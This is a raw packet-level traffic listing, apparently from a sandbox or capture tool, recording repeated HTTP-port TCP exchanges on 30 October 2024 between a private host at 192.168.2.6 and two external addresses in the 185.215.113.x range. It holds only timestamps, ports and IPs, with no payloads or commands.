Oct 30, 2024 05:25:06.387362957 CET	49991	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:07.905714989 CET	49991	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:07.906119108 CET	49992	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:07.911478043 CET	80	49991	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:07.911542892 CET	80	49992	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:07.911565065 CET	49991	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:07.911608934 CET	49992	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:07.911746979 CET	49992	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:07.917025089 CET	80	49992	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:08.833972931 CET	80	49992	185.215.113.43	192.168.2.6
Oct 30, 2024 05:25:08.834059954 CET	49992	80	192.168.2.6	185.215.113.43
Oct 30, 2024 05:25:08.879048109 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:08.884443045 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:08.884512901 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:08.885822058 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:08.891104937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795100927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795114040 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795165062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795175076 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795195103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.795219898 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795227051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.795275927 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795278072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.795288086 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795300961 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795346022 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.795346975 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.795372963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795418978 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.795433998 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.795495987 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.800544024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.800555944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.800569057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.800578117 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.800618887 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.800672054 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.953294992 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953314066 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953325987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953388929 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.953432083 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.953442097 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953454971 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953466892 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953478098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953505039 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.953521967 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.953560114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.953890085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953902006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953908920 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953973055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953984976 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.953989029 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:09.953993082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:09.954046011 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.070595026 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.070607901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.070636034 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.070646048 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.070684910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.070732117 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.070877075 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.070889950 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.070899963 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.070931911 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.070946932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.071194887 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.071242094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.071248055 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.071255922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.071281910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.071319103 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.071321964 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.071331024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.071367025 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.071382046 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.071965933 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.072015047 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.111255884 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.111268044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.111341953 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.111433029 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.111443043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.111486912 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.188261032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188287973 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188299894 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188309908 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188317060 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.188323975 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188333035 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.188371897 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.188565969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188575983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188616037 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.188688993 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188728094 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.188743114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188754082 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.188791990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.189089060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.189110041 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.189136028 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.189165115 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.229027987 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.229047060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.229057074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.229103088 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.229139090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.272960901 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.272978067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.273055077 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.305896997 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.305912018 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.305922985 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.305936098 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.306015968 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.306031942 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.306067944 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.306078911 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.306112051 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.306128979 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.306327105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.306346893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.306360006 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.306372881 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.306375027 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.306391954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.306425095 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.346436024 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.346452951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.346474886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.346486092 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.346492052 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.346539974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.346560001 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.390064001 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.390077114 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.390130997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.423491955 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423526049 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423538923 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423549891 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423557997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.423580885 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.423615932 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.423769951 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423799038 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423811913 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423815966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.423824072 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423836946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.423841953 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.423862934 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.423877954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.464243889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.464257002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.464267969 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.464279890 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.464323997 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.464349031 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.507543087 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.507569075 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.507580996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.507606030 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.507625103 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.541049957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541063070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541079044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541091919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541102886 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541115046 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541126013 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541140079 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541253090 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.541918039 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541929007 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.541977882 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.542038918 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.542088032 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.542089939 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.542133093 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.581906080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.581919909 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.581929922 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.581979990 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.582000017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.625346899 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.625363111 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.625375032 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.625386953 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.625427008 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.625447989 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.658535004 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.658546925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.658571005 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.658581972 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.658593893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.658605099 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.658606052 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.658617020 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.658638954 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.658665895 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.659285069 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.659344912 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.659354925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.659384966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.659485102 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.659518957 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.659532070 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.659562111 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.708610058 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.708628893 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.708645105 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.708661079 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.708688974 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.742747068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.742801905 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.742813110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.742829084 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.742854118 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.742872000 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.742898941 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.742938042 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.742950916 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.742965937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.742990017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.743002892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776391983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776421070 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776442051 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776459932 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776470900 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776484966 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776494980 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776510954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776521921 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776559114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776803017 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776859999 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776901960 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776920080 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776936054 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.776945114 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776963949 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.776979923 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.825978994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.825998068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.826013088 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.826041937 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.826060057 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.860217094 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.860234022 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.860249043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.860300064 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.860341072 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.860416889 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.860430002 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.860475063 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.860569954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.860583067 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.860630035 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894207954 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894247055 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894263983 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894279003 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894300938 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894316912 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894326925 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894341946 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894352913 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894377947 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894745111 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894757986 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894790888 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894798994 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894810915 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894824982 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894834995 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894849062 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.894860983 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.894882917 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.943562031 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.943591118 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.943605900 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.943785906 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.977742910 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.977771044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.977785110 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.977823019 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.977860928 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.977931023 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.977946043 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.977961063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:10.977974892 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:10.978002071 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.011590958 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.011617899 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.011632919 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.011650085 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.011887074 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.011941910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.011941910 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.011961937 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.011980057 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.012006044 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.012021065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.012038946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.012038946 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.012058973 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.012089014 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.012693882 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.012706995 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.012758017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.012758017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.061039925 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.061057091 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.061073065 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.061168909 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.061168909 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.061197042 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.061212063 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.061242104 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.061265945 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.095339060 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.095357895 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.095372915 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.095396996 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.095412970 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.095448017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.095448017 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.095495939 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.095591068 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.095604897 CET	80	49993	185.215.113.16	192.168.2.6
Oct 30, 2024 05:25:11.095649004 CET	49993	80	192.168.2.6	185.215.113.16
Oct 30, 2024 05:25:11.095669985 CET	49993	80	192.168.2.6	185.215.113.16
